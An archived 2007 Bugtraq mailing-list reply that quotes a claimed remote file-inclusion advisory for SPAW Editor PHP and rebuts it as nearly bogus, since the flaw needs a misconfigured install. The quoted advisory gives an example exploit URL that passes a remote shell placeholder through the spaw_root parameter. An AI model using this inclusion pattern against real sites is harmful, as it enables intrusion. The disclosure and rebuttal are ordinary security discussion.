bugtraq - Re: SPAW Editor PHP Edition

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Fri, 2 Mar 2007 23:43:31 +0000 (UTC)
From: Steve Watt <steve.removethis@...t.COM>
To: bugtraq@...urityfocus.com
Subject: Re: SPAW Editor PHP Edition

In article <20070302132254.09F75CA0D5@...-11.us4.outblaze.com>,
RaeD Hasadya <raed@...mail.com> wrote:
>Remote IInclude File : SPAW Editor PHP Edition upgrade version 1.2.3 to 1.2.4
>
>Discovered By : Hasadya Raed
>Contact Me : RaeD[at]BsdMail[dot]Com
>Download Script:
>http://heanet.dl.sourceforge.net/sourceforge/spaw/spaw-php-123-to-124.zip 
>
>B.File :img_library.php :
>include $spaw_root.'class/util.class.php'; 
>include $spaw_root.'class/lang.class.php'; 
>
>=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
>
>Expl:-http://www.victim.com/spaw/dialogs/img_library.php?spaw_root=[Shell-AttacK]

Besides being for an older version, this is only a problem if
you haven't correctly installed the package (i.e. created the
spaw_control.config.php file that defines spaw_root.

This advisory is about >< that close to being purely bogus.

(I don't even use spaw, I just had to go peek.)
-- 
Steve Watt KD6GGD  PP-ASEL-IA          ICBM: 121W 56' 57.5" / 37N 20' 15.3"
 Internet: steve @ Watt.COM                      Whois: SW32-ARIN
   Free time?  There's no such thing.  It just comes in varying prices...